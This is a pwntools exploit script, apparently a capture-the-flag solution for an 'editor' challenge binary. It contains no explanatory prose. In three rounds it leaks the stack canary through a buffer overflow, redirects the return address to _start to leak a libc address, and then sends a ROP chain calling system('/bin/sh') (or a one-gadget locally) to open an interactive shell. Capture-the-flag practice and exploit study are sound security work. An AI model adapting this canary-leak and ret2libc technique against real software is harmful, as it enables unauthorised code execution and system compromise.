#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./editor')

if args.REMOTE:
	p = remote('editor.litctf.live', 1337)
	libc = ELF('./libc-2.31.so')
	libc_start_main_offset = 234
else:
	p = process(binary.path)
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	libc_start_main_offset = 243
	libc.symbols['gadget'] = [0xe6c7e,0xe6c81,0xe6c84][1]

## round 1 leak canary
# leak canary
p.sendafter(':\n',(0x98-0x10+1) * b'A')
p.sendlineafter('?\n','2')
p.recvline()
p.recvline()
p.recv(0x98-0x10+1)
canary = u64(b'\0' + p.recv(7))
log.info('canary: ' + hex(canary))

# reset intialized
p.sendlineafter('?\n','1')
p.sendlineafter('!\n',str(binary.sym.initialized - binary.sym.editbuf))
p.sendlineafter('!\n',b'\0')

# write out RBP and return address
for i in range(8 + 6):
	p.sendlineafter('?\n','1')
	p.sendlineafter('!\n',str(0x98-0x8+i))
	p.sendlineafter('!\n',b'B')

# zero out return address
# have to do this backwards because of how edit/strcpy
for i in range(5,2,-1):
	p.sendlineafter('?\n','1')
	p.sendlineafter('!\n',str(0x98+i))
	p.sendlineafter('!\n',b'\0')

# set return address to _start
for i in range(3):
	p.sendlineafter('?\n','1')
	p.sendlineafter('!\n',str(0x98+i))
	payload = p8(p64(binary.sym._start)[i])
	p.sendlineafter('!\n',payload)

# patch canary
p.sendlineafter('?\n','1')
p.sendlineafter('!\n',str(0x98-0x10))
p.sendlineafter('!\n',b'\0')

# exit to jump back to _start
p.sendlineafter('?\n','3')


## round 2: leak libc
# leak libc
payload  = b''
payload += (0x98-0x10) * b'A'
payload += p64(canary + 1)
payload += (0x98 - len(payload)) * b'B'
p.sendafter(':\n',payload)
p.sendlineafter('?\n','2')
p.recvline()
p.recvline()
p.recv(0x98)
__libc_start_main = u64(p.recv(6) + b'\0\0')
libc.address = __libc_start_main - libc_start_main_offset - libc.sym.__libc_start_main
log.info('libc.address: ' + hex(libc.address))

# reset intialized
p.sendlineafter('?\n','1')
p.sendlineafter('!\n',str(binary.sym.initialized - binary.sym.editbuf))
p.sendlineafter('!\n',b'\0')

# write out RBP and return address
for i in range(8 + 6):
	p.sendlineafter('?\n','1')
	p.sendlineafter('!\n',str(0x98-0x8+i))
	p.sendlineafter('!\n',b'B')

# zero out return address
# have to do this backwards because of how edit/strcpy
for i in range(5,2,-1):
	p.sendlineafter('?\n','1')
	p.sendlineafter('!\n',str(0x98+i))
	p.sendlineafter('!\n',b'\0')

# set return address to _start
for i in range(3):
	p.sendlineafter('?\n','1')
	p.sendlineafter('!\n',str(0x98+i))
	payload = p8(p64(binary.sym._start)[i])
	p.sendlineafter('!\n',payload)

# patch canary
p.sendlineafter('?\n','1')
p.sendlineafter('!\n',str(0x98-0x10))
p.sendlineafter('!\n',b'\0')

# exit to jump back to _start
p.sendlineafter('?\n','3')


## round 3: rop chain
payload  = b''
payload += (0x98-0x10) * b'A'
payload += p64(canary)
payload += (0x98 - len(payload)) * b'B'
if args.REMOTE:
	pop_rdi = next(binary.search(asm('pop rdi; ret')))
	payload += p64(pop_rdi)
	payload += p64(libc.search(b'/bin/sh').__next__())
	payload += p64(libc.sym.system)
else:
	payload += p64(libc.sym.gadget)

p.sendafter(':\n',payload)

# exit to shell
p.sendlineafter('?\n','3')
p.interactive()
